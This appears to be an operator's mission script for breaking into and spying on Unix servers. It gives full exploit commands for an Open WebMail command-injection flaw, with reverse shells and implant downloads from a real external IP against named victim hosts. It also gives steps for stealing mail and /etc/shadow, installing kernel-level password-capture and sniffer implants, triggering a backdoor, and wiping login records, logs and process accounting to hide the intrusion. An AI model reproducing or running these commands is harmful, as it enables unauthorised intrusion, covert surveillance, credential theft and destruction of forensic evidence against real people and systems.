CGI and is transferred to a perl open call which allows + arbitrary command execution. Open WebMail runs on FreeBSD, Linux, Solaris, and most Unix servers. + + - The Open WebMail system runs as "nobody", therefore a local exploit is needed if root access is required. + + - Since it's a logic error, the same exploit will work on all versions of Unix. + + 2.EVOKEPROMPT Usage: + + # ./xp_downloadfolder + usage: ./xp_downloadfolder -i -u -a -b -p -c + + -i + -p + -c + -u + -a + -b + + Examples: + 1) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"mkdir /tmp/.scsi; cd /tmp/.scsi; catsendmail;chmod +x + sendmail;sleep 60;PATH=. D=-c555.1.2.150:5555 sendmail" + + 2) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"PATH=/usr/bin w" + + 3) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"sh&0 2>&0" + + 3.Target Susceptablility: + + EVOKEPROMPT requires the target to be running Open WebMail 2.10 or higher. + + 4.On what will EVOKEPROMPT fail? + Will not work on older versions of Open WebMail. Versions that will not work include Open WebMail 1.80, 1.90, 2.00. + + 5.EVOKEPROMPT Additional Requirements: + Need username/password to authenticate. + Local exploit based upon the operating system. Could use DTAPPGATHER for Solaris, rfork for FreeBSD, or ptrace for Linux. + + 6.Give troubleshooting instructions: + There are the steps in troubleshooting EVOKEPROMPT: + 1. Determine if the webserver is running Open WebMail 2.10 or higher: + # galeon http://targetip/ + + 2. Determine the OS based upon "User Preference/About" in the Open WebMail system. + + 7.EVOKEPROMPT Example Usage: + +1) + # galeon http://127.0.0.1/ + + 2) Enter the UserID and Password. For the rest of this example, UserID is name. + + 3) Set up Nopen to listen for a connection. + # noclient -l 123 + or + # -nrtun 123 + + 4) View the cookie for "Site" (in this case, 127.0.0.1) and "Cookie Name" (in this case, name- +sessionid). The value + should be similar to this: OWVSdiyf1.AMY + + 5) Also, need to use the session ID in the URL, for example: sessionid=name*-session-0.2724838 +93045322 + + 6) Send the exploit using xp_downdloadfolder with the above information: + + # ./xp_downloadfolder -i127.0.0.1 -uname -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"mkdir / tmp/.scsi; cd /tmp/.scsi; catsendmail;chmod +x sendmail;sleep 60;PATH=. D=-c555.1.2.150:123 sendmail" + + +# this worked on faintspirit +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://203.234.72.4:443" + +# others +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWXIer7nk2%2FpM" -b0.535692078600736 -c"(sh&0 2>&0)" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"sh&0 2>&0" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/w; /bin/date" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://203.234.72.4:443" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://203.234.72.4:443" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://203.234.72.4:443/sendmail; chmod 700 sendmail; PATH=. D=-c203.234.72.4:46776 sendmail" + +# abort the curl command, then modify the string to have the "ow-sessionkey-mail.ihep.ac.cn-", https://127.0.0.1:443, and "=tonggl*mail.ihep.ac.cn-session-" info included + +# wget nopen (this worked): +curl --cookie "ow-sessionkey-mail.ihep.ac.cn-tonggl=OWKyenMN8jyV2" "https://127.0.0.1:443/cgi-bin/openwebmail/openwebmail-folder.pl?sessionid=tonggl*mail.ihep.ac.cn-session-0.125111049580486&folder=|(echo%20%27mkdir%20FtmpFEscsi%3B%20cd%20FtmpFEscsi%3B%20FusrFbinFwget%20http%3AFF2G3E234E72E4%3A443Fsendmail%3B%20chmod%207GG%20sendmail%3B%20PATH%3DE%20D%3D-c2G3E234E72E4%3A46776%20sendmail%27%7CPATH%3D%60printf%20%27%5C057usr%5C057bin%27%60%20tr%20E-G%20.-0%7CPATH%3D%60printf%20%27%5C057bin%27%60%20sh)&action=downloadfolder" + + + +### In a local scripted window, set up a netcat to listen for a connection: + +nc -vv -l -p NETCAT_PORT + + +### try connecting via netcat after any "session failed" message when redirecting: +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +uname -a +### start a netcat with the right nopen version (don't need to uuencode with /dev/tcp way) +### nc -l -p NETCAT_PORT < sendmail +pwd +mkdir /tmp/.scsi; cd /tmp/.scsi; pwd +ls -l /usr/bin/uudecode +/bin/cat/tmp/.scsi/sendmail +chmod 700 sendmail +PATH=. sendmail +id + + +grep -v "203.234.72.4" /home/ihep/tonggl/.openwebmail +-gs grepout -d -w /tmp/.scsi "203.234.72.4" /home/ihep/tonggl/.openwebmail/history.log +-gs grepout -d -w /tmp/.scsi "203.234.72.4" /home/ihep/chep2001/.openwebmail/history.log + +-gs grepout -d -w /tmp/.scsi "203.234.72.4" /var/log/openwebmail.log + +grep -v "203.234.72.4" /var/log/openwebmail.log> o; cat o > /var/log/openwebmail.log + + + + + + + 7) Check the following logs and directories: + + /home/name/.openwebmail/history.log + /var/log/httpd/access_log + /var/log/openwebmail.log + /home/name/mail + /home/name + /var/www/cgi-bin/openwebmail/etc/sessions/ + + + +##################################################### +# POPPING MAIL FROM A TARGET +##################################################### + +### You'll be listing the messages from within a scripted window +### You'll need to devise a way to separate the mail for multiple users (for tuckering) +### if you are accessing more than one account +### You might try using a separate scripted window for each user, then copying +### the scripted window to the name of the user for post-processing +### The session timeout is fairly short so have your commands ready to paste +### You have to "guess" where the newest mail is, so you might want to start +### backwards to get the most recent mail, IF that applies and the mail is +### sorted by date + +### IMPORTANT!!!!!! DO NOT "QUIT" THE SESSION!!!! LET IT TIMEOUT, +### OR CLOSE THE TUNNEL TO HAVE IT DROP THE CONNECTION. +### You do not want the mail marked as "read" or anything else. + +### set up tunnels on redirector: + +-tunnel +l 110 TARGET_IP + + + +### in a local scripted window: + +telnet 127.0.0.1 110 +USER +PASS +LIST +RETR 1 +RETR 2 +RETR 3 +RETR 4 +RETR 5 + +RETR 6 +RETR 7 +RETR 8 +RETR 9 +RETR 10 +... +... +... + +### If the session hasn't timed out, close the tunnel channel to move on to the +### next user or to end the op + + + +############################################################################# + +############ I AM ROOT! + +############################################################################# + +###path with NO Working directory for atjob +#-setenv PATH=:/usr/bsd:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc +-setenv PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin + +HISTFILE="" ksh + + # or + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + +-ls + +-rm sendmail sendmail.uu + +# Look for and clean (if necessary) logs + +###### FORENSICS ############## + +=info + +df -k +-find + +-gs survey +-ls /var/spool/cron/crontab +-strings /platform + ## /platform/SUNW,SystemEngine + + +### See who's on, note uptime and load; verify time/timezone; see who's been on +w; date; last -80 + +### Change owner/group/modes...if in doubt, see what's already in "/tmp"... +-ls -t / /tmp + +### core files? +-ls /core + +### Root users: +-ls /var/adm/sulog +-vget /var/adm/sulog + +### owner:group should be root:sys... +chown -R root:sys /tmp/.scsi; chmod -R og-rwx /tmp/.scsi; ls -al + +### Baseline swap +/sbin/ps -elf; swap -l; uptime + +### Enough space to upload tools? Any partitions about to fill up? +df -k + + +################ OTHER CLEANING ################ + +################################# +### TOAST the login entries..... +################################# + +### Target window +-put ../up/toast t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date +./t -l /var/adm/lastlog /var/adm/wtmp[x] user + + +################################# +### SGREP messages +################################# +-put ../up/sgrep s + +-tail /var/adm/messages + +### To look first: +./s "unique string" /var/adm/messages + +### To replace with a string of equal or shorter length +./s "unique string" "replacement string" /var/adm/messages + +################################# +### SGREPSUB (numerous things to grep) +################################# + + +usage: sgrepsub -i /tmp/messages -r /tmp/rand -c 31 + -i + -r + -c to find the column number> + -h + -f + -s +ex: sgrepsub -i /tmp/messages -r /tmp/rand -c 31 -f /var/log/messages + + +### Locally, create a file containing the lines you want to change from /var/adm/messages + +cd /current/down +vi sg.input + +### Locally, create a 2nd file containing one or more lines of replacement strings +cd /current/down +vi sg.repl + +### Locally, run +sgrepsub -i sg.input -r sg.repl -c -f /var/adm/messages -s ./s + +### Verify the output, then paste the generated commands in the target window + +################################# +### PCLEAN (put up right one) +################################# + +-put ../up/pcleanTAB sendmail + +-ls + +### make sure to exit all but one window (processes log upon completion) + + +### Pclean usage: +### -e: look for null entries +### -i: calc number of entries in file +### -r: looks for entries with gid=root +### -t: search this time range +### -l: search for last X hours +### -S: ignore matches in the following string? + +### Usage: +./pclean [-h(elp)] [-d] [selection_option(s)] [filename] + -d: DELETE selected entries + + +Selection options: (Two or more selection options are ANDed together) +-------------------------------------------------------------------- + no options: print all entries to stdout and exit + + -h(elp): self expl + + -e: list null entries; all other select criteria ignored + + -f fname: delete whitespace-separated numeric entries + listed in "fname" + (numbers must be in numeric order -- try the + "sort -n" option if necessary) + + -r: list entries w/ gid == root + + -i calculate # of entries in the file + (all other selection options ignored) + + -l num_hrs list entries whose start time was within last num_hrs hours + + -n numeric_list: select numeric ranges and/or individual entries + (numeric list CANNOT have spaces and MUST be + in numeric order and comma-separated) + e.g.: -n 1-1024,1080,6666,31337 + ** NOTE: USING EITHER THE -n OR -L OPTION CAN + ** SIGNIFICANTLY IMPROVE PROCESSING TIME + + -L number: select the last number of entries + ** NOTE: USING EITHER THE -n OR -L OPTION CAN + ** SIGNIFICANTLY IMPROVE PROCESSING TIME + + -k numeric_list: slower version of -n (doesn't use lseek) + + -t time_range: entries that fall within time range, specifed + as [[CC]YY]MMDDhhmm[.SS]-[[CC]YY]MMDDhhmm[.SS] + (no spaces) + e.g. 8 Jul 1999 from 10am to 11am: + -t 199907081000-199907081100 + + -c cmd_name: strncmp() search for 1st 8 chars of commands that + match cmd_name + + -s "cmd1|cmd2|...": strncmp() search for 1st 8 chars + of commands that DO match a list of '|' + separated strings (kinda like egrep) + + -S "cmd1|cmd2|...": strncmp() search for 1st 8 chars + of commands that DON'T match a list of '|' + separated strings (kinda like egrep -v) + + + +### LOCALLY, make pclean dir +-lsh mkdir /current/down/pclean + +### Make sure your path is correct: +### redo path with WORKINGDIR +-addpath . + +### or equivalently: +### DEC: +#-setenv PATH=/usr/.advtags:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + +### OTHER: +#-setenv PATH=/tmp/WORK_DIR:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + + +### newer way + +#### Checks number of processes in file? Informational +#### This one doesn't do any cleaning yet. +sendmail -i; date + +### This works for ICESKATE (DEC) +#sendmail -r -l 4 -S "sendmail|imapd|idled|mail.lo|popper|sshd|in.ident|syslogd|telnetd|ipop3d|imapd" > T:/current/down/pclean/o +## safest way for SPARC +sendmail -l 4 > T:/current/down/pclean/o + +### Locally, edit file and remove any excess entries +### Use following on local host to convert into input format: +cp o o.orig + +### Delete header and footer lines, along with any processes that +### don't appear to be us +vi o + +### Convert the file into input format (process ref numbers only): OR in vi: :%s/ .*//g +cut -f1 -d ' ' o > i + # or +cut -f1 -d ' ' o.grep > i + +### Verify the file to be uploaded is correct: +cat i + +### upload input file +-put /current/down/pclean/i i +-ls + +### DON'T RUN ANY MORE NON-BUILTIN COMMANDS ON TARGET AFTER THIS COMMAND!!!!! +### Delete our entries +sendmail -d -f i > T:/current/down/pclean/o.after + +### Locally, edit file and remove any excess entries +### verify pclean worked: +cat o.after + +### Paste the final 'sendmail' cleanup line from o.after on the target +### until it says "no entried selected" + +### Extra cleanup + +### reset timestamp on /usr after rm /usr/.advtags +-rm sendmail i + + +### DO NOT RUN ANY MORE NON-BUILTIN COMMANDS or you'll HAVE TO PCLEAN AGAIN!!!! + + +###################################################################################### + + +### check logs +#grep 217.53.1.2 /var/adm/SYSLOG /var/log/syslog + +grep PITCH_IP /var/adm/SYSLOG /var/log/syslog /var/adm/messages + +### Get a reboot history through a combination of the following: +### Take note if anyone was on the console around the time of any reboots +last | egrep "down|boot|console" +last -15 boot + +-tail /var/adm/sulog + +#### CHECK FOR ACCOUNTING... +-ls /var/adm/*acct +-ls -t /var/spool/cron/crontabs +grep acct /var/spool/cron/crontabs/* +-ls /var/spool/cron/atjobs +grep acct /var/spool/cron/atjobs/* + +#### (1) What's the current local time? +### (2) Is the platform close to what we thought? +### (3) Do we have some available disk space? +### (4) Are there currently any at jobs? +date; uname -a; df -k; at -l + +### check for remote monitoring +#-ls -t /var/adm/syslog.dated +#-ls -t /var/adm/syslog.dated/current/ +#-tail -70 /var/adm/syslog.dated/current/auth.log +#-tail -70 /var/adm/syslog.dated/current/daemon.log +#-tail -70 /var/adm/syslog.dated/current/mail.log +#-tail -70 /var/adm/syslog.dated/current/others.log +#egrep "PITCH_IP|inetd| ident" /var/adm/syslog.dated/current/*.log + + +### check other logs +-ls -t /var/adm +-ls -t /var/log + + +####### LINUX VALIDATOR TECH CHECKS: +hostname +=mkoffset +-ifconfig + +### Looking for libint.so in maps: +-ls /proc/1/ +cat /proc/1/maps + +### check access times: +-lt /lib/libinit.so +-ls -u /lib/libinit.so + +### should NOT exist: +-lt /etc/ld.so.preload + + +### see if lock file is there, pull if not too big: +-lt /var/spool/lpd/_default + -get /var/spool/lpd/_default/ + + +### check reboots: +-ls -t /var/log/*ksym* + +### check logs around time of last callback: +-ls -t /var/log/mess* + -get /var/log/mess* + +### pull this (should compress well): +-lt /var/log/lastlog + -get /var/log/lastlog + +-ls -t /root +-get -v /root/.bash_history + + + +############# For LINUX +-ls /var/spool/cron +-ls /var/run/utmp +-ls /var/log/wtmp + +netstat -an +netstat -anlp + +###### shows dates of reboots: +-lt /var/log/ksyms* + +### Like uname -a +-cat /etc/*release +uname -a + +### Like psrinfo -v: +cat /proc/cpuinfo + + # Kernel info - vmlinux +stat /dev +stat /sbin/init +-lt /boot +-get /boot/System.map* +-lt /etc +-get /etc/lilo.conf +mount +-ls /sbin/init +cksum /sbin/init +lsmod +-ls /sbin +ls -l /proc/1/exe +-ifconfig +netstat -npa + + # For SS +/proc/config.gz +/boot/config-`uname -r` +/proc/version +/usr/src/linux-`uname -r`/.config +/usr/src/linux-`uname -r`/configs/*.config + + # For JL +rpm -qa |grep xinet +-strings /usr/sbin/xinetd |grep Version +-get /usr/sbin/xinetd +-ls /etc/xinetd.conf +grep "disable" /etc/xinetd.d/* +chkconfig --list + + + +######## END FORENSICS ########################## + +############- Create our slash and burn at job + +cd /; echo "rm -rf /tmp/.scsi > /dev/null 2>&1" | at now + 180 minutes +cd /; echo "kill -9 ###FINSPID### > /dev/null 2>&1" | at now + 180 minutes +at -l; date + +### vi commands to (1) mark, (2) modify file for at job, (3) jump back here +mx +:%s/at -r ### /at -r /g +`x + +### redo path with WORKINGDIR +-setenv PATH=/tmp/.scsi:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + +### What protocols are serviced by 'inetd'... +grep -v "^#" /etc/inetd.conf + +### Which facilities and levels are getting logged to which files/hosts... +grep -v "^#" /etc/syslog.conf + +### Named config files +-ls /etc/named* +-ls /var/named* + + + +### ASET (Automated Security Enhancement Tool) CHECK... +### +### After connecting and creating/cd-ing to your "working +### directory" in /tmp + +grep aset /var/spool/cron/crontabs/* + +### if aset if running, look for path after the "-d" option +### i.e. 0 0 * * * /usr/aset/aset -d /usr/aset +### /usr/aset would be the path we're looking for +### if this path is _not_ /usr/aset, run the following commands +### as is AND a second time replacing /usr/aset with the path +### from the cron job + +#ls -al /usr/aset +#ls -al /usr/aset/reports/latest + +### ASET Tasks... +#ls -al /usr/aset/tasks +#tar cvf as.t /usr/aset/tasks; ls -la + +#### ASET Archives... +#ls -al /usr/aset/archives +#tar cvf as.a /usr/aset/archives; ls -la + +#### ASET Master Files... +#ls -al /usr/aset/masters +#tar cvf as.m /usr/aset/masters; ls -la + +#### Download any ASET tar files and remove from tmp dir on target + + + +################ Locally, look thru find ################################ + +#### Typical grep's on downloaded 'find' file +#### Do on local host after downloading files. Collectively... + +cd /current + +egrep '(tftpboot|cisco|router|hack|\.\.\.|tacac|ssh)' *m + ## or, singly... +grep cgi-bin *m +grep tftpboot *m +grep cisco *m +grep router *m +grep hack *m +grep "\.\.\." *m +grep ssh *m +grep tac *m |egrep '(passwd|pwfile|etc|wtmp|conf|plus)' + +#### Since we're looking at 'find', TRIPWIRE could be elsewhere, too... +#### Collectively... +egrep '(trip|twz|tw\.config)' *m + # or, singly... +grep trip *m +grep twz *m +grep "tw\.config" *m + +### look for history files +grep history *m + + +### Extra -local window + +#lsstamp -c 2 -s sorts based on atime (good for finding config files) +#lsstamp -c 3 -s sorts based on ctime (good for finding hacker activity) + +# OR + +# ./mkfinds -h +# ./mkfinds + +################################################################################### +################################################################################### + +### PASSWD FILE? +# get -l option will disconnect absolute path locally +-ls /etc/passwd /etc/shadow +-get -l /etc/passwd /etc/shadow + +############# MAILGRAB ############################## + +# Strifeworld Collection + +-setenv PATH=/tmp/.scsi:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin + +who -b + +###################################################### +# SUCTIONCHAR +###################################################### +# 32 or 64 bit OS - solaris sparc 8,9 +# Kernel level implant - transparent, sustained, or realtime +# interception of procoess input/output vnode traffic. +# retrieve later + +# filter: ssh, telnet, rlogin, rsh, password, login, csh , su + +# max bytes collected per session is 32 kilobytes +# max bytes collected for all sessions is 1 megabyte +# don't take up more than 1% of system's memory + +# to determine if suctionchar is loaded on a system is to +# open a command channel to the implant as described in +# authenticate and yyserv tool and demo sections. If this +# fails and receives the error "Bad Address" when trying to +# modload the instant grat module; function call needs patch +# can't be found, probably because already been patched by a +# version of suctionchar already running + +# SUCTIONCHAR will go away at reboot +# if offset involved with target, must set op box time to match target time + +# INSTALLING SUCTIONCHAR +uname -a +isainfo -v + +-cd /tmp/.scsi + +cp /usr/sbin/modload ml +cp /usr/sbin/modinfo mi + +### if running 32 AND 64 bit, upload 64 bit: +# 64 bit +-put /current/up/sparcv9/sum sum +# else 32 bit +-put /current/up/sum sum + +-lt sum +### install it: +./ml sum + +### make sure sum doesn't show up in modinfo: +./mi + +### note size of sum for dd command: +-lt sum + +### Run dd to zero out 'sum' binary so its contents can't be recovered from disk after deletion +# +# say size of sum is 34364, need for count in dd +# + +dd bs=1 count=34364 if=/dev/zero of=sum +-rm sum ml mi + +### nothing should have logged: +-tail /var/adm/messages + +##### NOPEN SUCTIONCHAR COMMANDS ######## +[-suc] +Usage: -suc [get|] | [-s] [..] | blow | info | filter | free | unhook + +-suc info # shows if installed and bytes collected, max s and max c +-suc filter # set filters /current/etc/suctionchar.sample.conf +# locally to give pastable for -suc filter: +# make filter.conf file + +/current/bin/suctionchar.genconf /current/etc/suctionchar.sample.filter.conf +# paste filter in one at a time from genconf bottom output until all filters +# in; filter saved message appears + +-suc get # get data, decrypt, view +-suc blow # remove suctionchar +-suc -s pid [pid] # on the fly tracking of process to screen +-suc free # free memory of suctionchar data +-suc unhook # unhook any realtime process with -s to screen + +# on target: to authenticate must run yyserv on target and +# /current/etc/suctionchar.authenticate locally +# authenticate by hand, our opbox time must be set exactly to authenticate +cp /bin/cat yyserv +-shell +echo $$ # notice pid +./yyserv # to exit +# 1 -- copy magic string from local authenticate window +# 3 -- copy first response from local authenticate window +# 5 -- copy second response from local authenticate window +info +OK +info + +exit + +# locally +cd /current/bin +./suctionchar.authenticate +# 2 -- place PID from echo $$ on target (-shell) +# 4 -- challenge= copy from yyserv output string inbetween first response string + + +# yyserv commands +# info - stats on collected sessions +info +# filt - reprogramming the filter rules it is running; intended to only be +# used with commands generated by genconf +filter +# copy filters one by one based on local genconf output +# file - writes out collected data to disk; file name in double quotes +# ex: "/tmp/filename"; should receive ERROR if wrong, WROTE to "/tmp/filename" +file "/tmp/.scsi/d +# in nopen window not running yyserv +-get /tmp/.scsi/d +-rm /tmp/.scsi/d +# locally +/current/etc/suctionchar.decrypt PATH/d outfile +# free - deallocates memory to store collected data; should always get OK +free +# hook - realtime snooping of existing processes +# ex: hook PID +# unho - unhooking any realtime hooked processes +# sets - set maximum bytes collected per session (MAX S =) +# setc - set maximum total bytes, across all collected sessions, used to +# store data in memory (MAX C =) +# unpa - unpatch itself from the kernel +# exit - send kill to yyserv + +# when finished using yyserv manually, make sure cleaned up properly +ps -ef | grep yyserv + +-lt +-rm yyserv +-cd /tmp +-rm /tmp/.scsi + + +###################################################### +# STRIFEWORLD +###################################################### + +### +### IMPORTANT: make note of PID,PPID that strifeworld reports when you start it and save it in opnotes +### + +### man page: +cd /current/etc +nroff -man strifeworld.1 + + +############ Start STRIFEWORLD ##################### + +### upload strifeworld as sendmail (or something else that might blend in) + +-put /current/up/strifeworld sendmail + + + +### Sniffing syntax: + +#PATH=. E="port 23 and host (210.56.16.1 or 210.56.4.1)" C="-o/tmp/.nfs7254 -n. -ihme0 -a3000 -b10000 -x100" sendmail +#PATH=. E="port 23" C="-o/tmp/.nfs7254 -n. -ihme0 -a3000 -b10000 -x100" sendmail + + + +### Task mail: + +#PATH=. E="port 25" C="-o/tmp/DIR -f(user1 user2) -ihme0 -a3000 -b100000 -j10000000" sendmail +#PATH=. E="port 25" C="-o/tmp/DIR -f([^a-zA-Z0-9_-](user1|user2|user3)@) -ihme0 -a3000 -b100000 -j10000000" sendmail +#PATH=. E="port 25" C="-o/platform/SUNW,SystemEngine/kernel/drv/scsi -f([^a-zA-Z0-9_-](user1|user2|user3)@) -ihme0 -a3000 -b100000 -j10000000 -x100 -l" sendmail + + +### Dump to hidden directory: + +### to hide on a sparc system +-lt platform/SUNW,SystemEngine/kernel/drv +PATH=. E="port 23" C="-m -o/platform/SUNW,SystemEngine/kernel/drv/.scsi -n. -i iprb0 -a3000 -b10000 -x100 -l" sendmail + +### to hide file on an x86 system +-lt /platform/dvri86pc/kernel/drv +PATH=. E="port 23" C="-m -o/platform/dvri86pc/kernel/drv/.scsi -n. -i iprb0 -a3000 -b10000 -x100 -l" sendmail + + + + +### make note of PID,PPID it echos back and document the command used to start it + + + +### verify it's running and hidden: + +ps -ef | grep PID +cd /dev; ps -ef |grep " sendmail" + + # or + +echo "p\nq\n"|crash|grep sendmail # Should see sendmail with . +echo "p\nq\n"|crash|grep PID # Should see sendmail with . + + + +############ Dump STRIFEWORLD ##################### + +### first, change local dir to either mailpull or sniffer: + +-lcd /current/down/sniffer/TARGET_NAME.TARGET_IP +-lcd /current/down/mailpull/TARGET_NAME.TARGET_IP + + + +### dump via built-in: + +=swkill + + + + +### dump by hand: + +### figure out sw PID and replace it in line below: + +#A=PID export A; kill -USR1 $A; sleep 1;kill -USR2 $A;sleep 1; kill -USR1 $A;sleep 1;kill -USR2 $A + +-ls -t /tmp +-get -l /tmp/file1 /tmp/file2 +-rm /tmp/file1 /tmp/file2 +-ls -t /tmp + +### or if in a hidden directory (filename usually 'scsi'): + +-ls /platform/SUNW,SystemEngine/kernel/drv/scsi +-ls /platform/dvri86pc/kernel/drv/scsi +-get -l FILENAME +cat /dev/null > FILENAME +-lt /platform/SUNW,SystemEngine/kernel/drv +-lt /platform/dvri86pc/kernel/drv + + + + +######### To grep headers from strifeworld mail collection: ############## + +wc -l /tmp/file1 /tmp/file2 + +### while on target: + +#P0=[12]?[0-5]?[0-9]+\\. ; P1=[0-9]+ ; P2=$P0$P0$P0$P0$P1 ; egrep -ni "($P2-$P2|^To:|^From:|^Subject:|filename=)" /tmp/.nfs6218 + +### when done locally: + +#P0=[12]?[0-5]?[0-9]+\\. ; P1=[0-9]+ ; P2=$P0$P0$P0$P0$P1 ; egrep -ni "($P2-$P2|^To:|^From:|^Subject:|filename=)" /current/down/mailpull/TARGET_NAME.TARGET_IP + + + + +############# MAILGRAB ############################## +### Multiple mail pulls + + +-lcd /current/down/mailpull/TARGET_NAME.TARGET_IP + +##### or use -chili +# +-chili -s 1 -l mm-dd-yyyy /var/mail USER1 + +## after down, check size locally +cd /current/down/mailpull/TARGET_NAME.TARGET_IP + + +# look at SA mail + +-tail /var/adm/sulog + +-ls /var/mail/USER + +grep -n -i "^Subject: " /var/mail/USER + + +### Generic stuff + +### SUBJECT/DATE/FROM/TO/E-MAIL ATTACHMENTS Normal... +#cd /var/mail; egrep '(^Subject:|^Date:|^From:|^To:|name=)' * + + +############### Get ready to cleanup ################################### + +### redo path with WORKINGDIR +-setenv PATH=/tmp/WORK_DIR:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + + +############- ZAP OUR AT JOB + +at -l +at -r ### ; at -l + + +############ HEALTH CHECK ######################### + +### Run the following before pcleaning to baseline system health prior +### to end of op + +w; date; last -80 +/sbin/ps -elf; swap -l; uptime +ps -ef |grep " sendmail" +-pid +df -k +-ls -t / +-tail -50 /var/adm/messages +-ls -t /var/log /var/cron /var/adm + + +#### +### Clean up and Bail +#### + +### Remove working dir, reset timestamp, rm touchfile, verify /usr and /tmp +### then +-cd /tmp +-rm /tmp/WORK_DIR +YES + +-ls /tmp + + +#### +## Kill off all remote nopen server processes... +#### + +-burn +BURN + +#### Try reconnecting to make sure noserver died + + +###### End of user.mission; You're done!!!! ######################## +### +### END USER.MISSION File user.mission.generic.COMMON +### (see also ../etc/user.mission.generic.COMMON) + +### +### BEGIN File user.tool.pork.COMMON (see also ../etc/user.tool.pork.COMMON) +### + +##### Triggering PORK ##### + +### Need 4 scripted windows +### Window 1: local, run pork client +### Window 2: nopen tunnel window on redirector +### Window 3: window to establish Nopen connection on redirector +### Window 4: packrat window + +### Search/Replace stuff +### TARG_IP: box that has pork installed +### TARG_PORT: pork'ed port +### REDIR_IP: box hitting TARG_IP +### NETCAT_PORT: port to upload nopen +### NOPEN_PORT: port to start nopen on +### SPECIAL_SOURCE_PORT: source port of connection to pork +### (source port must be one of: 3, 51, 3854, 5671, 8213, 12634, 16798, + 23247, 35139, 47923, 53246, 63201) +### TEMP_DIR: temp directory +### TIME_ADJ: time diff between local GMT and targ GMT (use 0 if no diff) +### (must be within 12 hrs) + +mx +:%s/TARG_IP/TARG_IP/g +:%s/TARG_PORT/TARG_PORT/g +:%s/REDIR_IP/REDIR_IP/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/NOPEN_PORT/NOPEN_PORT/g +:%s/SPECIAL_SOURCE_PORT/SPECIAL_SOURCE_PORT/g +:%s/TEMP_DIR/TEMP_DIR/g +:%s/RAT_REMOTE_NAME/RAT_REMOTE_NAME/g +:%s/TIME_ADJ/TIME_ADJ/g +'x + + +### Window 2: Set up tunnel to talk to pork +-tunnel +r NETCAT_PORT + +# If pork'ed service is TCP +l TARG_PORT TARG_IP TARG_PORT SPECIAL_SOURCE_PORT + +# If pork'ed service is UDP +u TARG_PORT TARG_IP TARG_PORT SPECIAL_SOURCE_PORT + + +### Window 3: If need nopen to call back, set this up +-nrtun NOPEN_PORT + + +### Window 4: use packrat to prep Nopen +### Change the Nopen to upload if necessary +cd /current/up +packrat -z RAT_REMOTE_NAME morerats/noserver-3.0.3.1-i586-pc-linux-gnu NETCAT_PORT + + +### Window 1: Trigger pork +### Many ways this command may need to be adjusted to do callback, execute rat, +### etc., so all possibilities not outlined below + +cd /current/bin + +# If TCP +./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT "cd /tmp; mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/REDIR_PORT > RAT_REMOTE_NAME.uu; uudecode RAT_REMOTE_NAME.uu; chmod 700 RAT_REMOTE_NAME; PATH=. S=1 D=-cREDIR_IP:NOPEN_PORT RAT_REMOTE_NAME" + +# If UDP +./client -u TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT "cd /tmp; mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/REDIR_PORT > RAT_REMOTE_NAME.uu; uudecode RAT_REMOTE_NAME.uu; chmod 700 RAT_REMOTE_NAME; PATH=. S=1 D=-cREDIR_IP:NOPEN_PORT RAT_REMOTE_NAME" + + +### Window 3: Should see Nopen connection if set up to callback +### If set up to listen, use this line +-nstun TARG_IP NOPEN_PORT + + +### Should be able to handle it from here... + + +### +### END File user.tool.pork.COMMON +### (see also ../etc/user.tool.pork.COMMON) + +### +### BEGIN File user.tool.cursehydrant.COMMON (see also ../etc/user.tool.cursehydrant.COMMON) +### + +################ CURSEHYDRANT ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.cursehydrant.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or 